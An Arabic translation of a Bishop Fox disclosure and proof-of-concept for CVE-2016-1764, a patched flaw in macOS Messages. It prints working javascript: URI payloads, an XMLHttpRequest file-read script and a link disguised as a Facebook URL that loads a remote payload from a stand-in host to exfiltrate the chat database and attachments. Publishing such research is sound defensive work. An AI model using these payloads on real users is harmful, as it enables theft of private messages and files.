كود استغلال إثبات المفهوم لـ CVE-2016-1764

استعادة بيانات iMessage النصية الصريحة دون كسر التشفير

المؤلفون

• Shubham Shah من Bishop Fox
• Joe DeMesy من Bishop Fox
• Matthew Bryant

CVE-2016-1764

المورّد: Apple

تاريخ الإصدار: 8 أبريل 2016

تاريخ التصحيح: 21 مارس 2016

الأنظمة المتأثرة: Messages على OSX Mountain Yosemite وEl Capitan

في حين تركز معظم النقاشات الأخيرة حول Apple على التشفير، يبدو أن الصناعة وجهات إنفاذ القانون قد نسيت أنه يمكن توظيف ثغرات أبسط على مستوى التطبيق للاستغناء عن التشفير تمامًا. إن CVE-2016-1764، التي أصلحتها Apple في مارس 2016، هي ثغرة على مستوى التطبيق تؤدي إلى الكشف عن بُعد لجميع محتويات الرسائل والمرفقات كنص صريح عبر استغلال عميل iMessage في OS X. علاوة على ذلك، لا تحتاج إلى شهادة دراسات عليا في الرياضيات لاستغلالها، ولا تتطلب معرفة تفصيلية بإدارة الذاكرة أو shellcode أو سلاسل ROP المعقدة لتجاوز ASLR. في الواقع، إنها ثغرة بسيطة نسبيًا يمكن لأي شخص لديه معرفة أساسية بلغة JavaScript استغلالها.

الملخص التقني المختصر

يستخدم تطبيق الرسائل (iMessage) لنظام OS X من Apple نسخة مضمّنة من WebKit لتنفيذ واجهة المستخدم الخاصة به، كما أن Messages على OS X يعرض أي URI كرابط HTML قابل للنقر <a href=. يمكن للمهاجم إنشاء URI بسيط بلغة JavaScript (مثل javascript:) يمنحه — عند النقر عليه — تنفيذًا أوليًا لـ JavaScript (XSS) في سياق DOM الخاص بالتطبيق. على الرغم من أن مكتبة WebKit المضمّنة التي يستخدمها Messages لنظام OS X تعمل في أصل applewebdata://، إلا أن المهاجم لا يزال قادرًا على قراءة ملفات عشوائية باستخدام طلبات GET عبر XMLHttpRequest (XHR) إلى URI بصيغة file:// نظرًا لعدم وجود سياسة نفس الأصل (SOP) مطبقة. ومن خلال إساءة استخدام XHR لقراءة الملفات، يمكن للمهاجم رفع سجل المحادثة الكامل للضحية والمرفقات إلى خادم بعيد بأسرع ما تسمح به سرعة اتصال الضحية بالإنترنت؛ فالتفاعل الوحيد المطلوب من المستخدم هو النقر على رابط واحد في المحادثة. علاوة على ذلك، إذا كان إعادة توجيه الرسائل النصية (SMS) مفعلاً، يمكن للمهاجم أيضًا استعادة الرسائل المرسلة إلى iPhone الخاص بالضحية أو الصادرة منه.

إذا كنت تريد معرفة كل التفاصيل الدقيقة، تابع القراءة.

التفاصيل التقنية

Messages لنظام OS X

يستخدم Messages لنظام OS X نسخة مضمّنة من WebKit لمعظم واجهة المستخدم الخاصة به. عند إرسال الرسائل أو استلامها بواسطة التطبيق، يتم إدراج HTML في DOM لعرض واجهة المستخدم وأي مرفقات/محتوى وسائط تم إرساله. جميع الرسائل المُرسلة عبر التطبيق تُعرض في DOM، وبالتالي يمكن أن تؤثر الثغرات الشائعة في أمان الويب من جانب العميل على التطبيق.

عند اختبار عميل Messages لنظام OS X، تبيّن أن مخططات البروتوكولات العشوائية يتم تحويلها تلقائيًا إلى روابط وإدراجها في DOM. على سبيل المثال، يتم إدراج URIs التالية جميعها كروابط في WebView عند إرسالها كرسائل:

test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter

نظرًا لأن Messages لنظام OS X لا يطبّق قائمة بيضاء بالبروتوكولات المقبولة، يمكن للمهاجم إرسال رسالة إلى الضحية تحتوي على URI بلغة JavaScript javascript:، والذي سيتم تحويله إلى رابط قابل للنقر على جهاز الضحية.

بمجرد النقر على الرابط، سيقوم WebKit المضمّن بتنفيذ JavaScript التي يتحكم بها المهاجم بأمانة في الأصل الحالي، على سبيل المثال:

لاحظ أن %0a (أي \n) يُستخدم للهروب من تعليق JavaScript //، وهو أمر مطلوب لمطابقة نمط الربط في المحلّل. بمجرد تفسير الكود، يصبح شكله كما يلي:

//bishopfox.com/research?
prompt(1)

عند النقر على هذا الرابط، يتم إطلاق نافذة مطالبة JavaScript داخل Messages لنظام OS X:

ومع ذلك، فإن Messages لنظام OS X هو تطبيق سطح مكتب وليس موقع ويب. لذلك يتم تنفيذ JavaScript في سياق أصل applewebdata://:

ومع ذلك، فإن كود المهاجم يُنفَّذ في تنفيذ كامل لـ WebKit، وبالتالي فإن XMLHttpRequest متاحة في وقت التشغيل. أحد الاختلافات الرئيسية بين النسخة المضمّنة من WebKit ومتصفح ويب مثل Chrome أو Safari هو أن النسخة المضمّنة لا تطبّق أي سياسة نفس الأصل (SOP)، نظرًا لأنها تطبيق سطح مكتب أصلي. يمكن للمهاجم استغلال هذا الأمر لقراءة ملفات من نظام الملفات المحلي دون انتهاك سياسة نفس الأصل عن طريق إرسال طلبات XMLHttpRequest من نوع GET إلى URIs بصيغة file://. الشرط الوحيد هو أن يعرف المهاجم مسار الملف الكامل؛ إذ لا يمكن استخدام مسارات نظام الملفات النسبية (مثل ~/.ssh/id_rsa).

قراءة الملفات

على سبيل المثال، يمكن تنفيذ JavaScript التالية بواسطة DOM الخاص بتطبيق Messages لقراءة ملف /etc/passwd:

function reqListener () {
  prompt(this.responseText);
  // send back to attackers server here
}

var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();

عند تحويل الكود إلى حمولة URI، يظهر على النحو التالي:

javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B

عند النقر عليه في تطبيق Messages، تظهر نافذة المطالبة التالية:

نظرًا لأن المتجه أعلاه طويل جدًا ويبدو مريبًا بشكل مفرط، فمن الممكن تقصير الـ URI عن طريق تحميل JavaScript ديناميكيًا من نطاق وإدراجه في DOM. على سبيل المثال، يقوم المتجه التالي بحقن JavaScript من http://example.com/1.js في DOM الخاص بـ Messages:

javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29

يمكن أن يحتوي ملف JavaScript المشار إليه //example.com/1.js في المتجه أعلاه على تعليمات JavaScript عشوائية مهما كان طولها.

ومع ذلك، فإن صندوق حماية التطبيقات (App Sandbox) في OS X قيّد الوصول إلى نظام الملفات ليشمل فقط ~/Library/Messages/* وبعض أدلة النظام الأخرى غير الخاصة بالمستخدم مثل /etc/.

سرقة قاعدة بيانات Messages والمرفقات

عندما يستلم تطبيق Messages على OS X الرسائل والمرفقات، يتم حفظها داخل الدليل التالي:

/Users/<username>/Library/Messages/*

يتم تخزين المحتوى النصي لهذه الرسائل والبيانات الوصفية الأخرى داخل قاعدة بيانات SQLite موجودة في:

/Users/<username>/Library/Messages/chat.db

تحتوي قاعدة البيانات هذه أيضًا على مواقع جميع المرفقات الموجودة على جهاز المستخدم.

من أجل سرقة قاعدة البيانات هذه، وبالتالي جميع المرفقات التي استلمها الضحية أو أرسلها على الإطلاق، يلزم استخدام حمولة هجوم أكثر تقدمًا.

نظرة عامة على الاستغلال

يجب تنفيذ الخطوات التالية قبل أن يتمكن المهاجم من استخراج البيانات بنجاح:

1. الحصول على تنفيذ JavaScript أولي في DOM الخاص بالتطبيق
2. تحديد المستخدم الحالي (مرة أخرى، لا يمكن استخدام ~)
3. باستخدام اسم المستخدم، توليد مسار كامل لملف chat.db، أي /Users/ExampleUser/Library/Messages/chat.db
4. استخدام XMLHttpRequest لقراءة قاعدة بيانات chat.db والاستعلام عنها للحصول على مسارات ملفات المرفقات
5. رفع قاعدة البيانات وجميع المرفقات باستخدام XMLHttpRequest أو WebSockets إذا كنت تريد وصولاً فوريًا

يمكننا تحديد المستخدم المسجل حاليًا عن طريق إرسال طلب إلى /Library/Preferences/com.apple.loginwindow.plist ثم تحليله، وهذا الملف قابل للقراءة بسهولة من داخل صندوق حماية التطبيقات في OS X. ومن هنا يصبح إنشاء المسار الكامل لقاعدة بيانات chat.db الخاصة بالمستخدم أمرًا بسيطًا.

بمجرد استخراج ملف قاعدة البيانات بنجاح، يمكن تمريره إلى سكربت مخصص من جانب الخادم يستخرج المسارات الكاملة للمرفقات التي أرسلها الضحية واستلمها، والموجودة داخل جدول attachments في قاعدة البيانات.

يتم جلب هذه المسارات الكاملة بواسطة حمولة JavaScript الخبيثة، ثم تُستخدم لاستخراج ملفات المرفقات من جهاز الضحية عبر XMLHttpRequest.

بعد ذلك، يقوم المهاجم ببعض التعتيم لجعل عنوان الـ URL أكثر قابلية للتصديق:

javascript://www.facebook.com/photo.php?fbid=111789595853599&set=a.111055039260388.1073741826.100010676767694&type=3&theater%0A%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fyourhostname%3A8888%2ff%2fpayload.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29

إذا نقر الضحية على الـ URI أعلاه في تطبيق Messages لنظام OS X، فسيتم إرسال سجل المحادثة الكامل للضحية وجميع المرفقات المرتبطة به إلى المهاجم.

الدروس المستفادة

JavaScript في كل مكان

لم تعد عيوب أمان تطبيقات الويب مقتصرة على المتصفح فقط، بل وجدت طريقها إلى التطبيقات الأصلية أيضًا. وفي حين أنه قد يكون من المنتج للمطورين استخدام تقنيات الويب مثل WebKit أو قريبه الأكثر خطورة nw.js لبناء تطبيقات سطح المكتب، إلا أنه لا يزال يتعين اتباع أفضل ممارسات أمان تطبيقات الويب.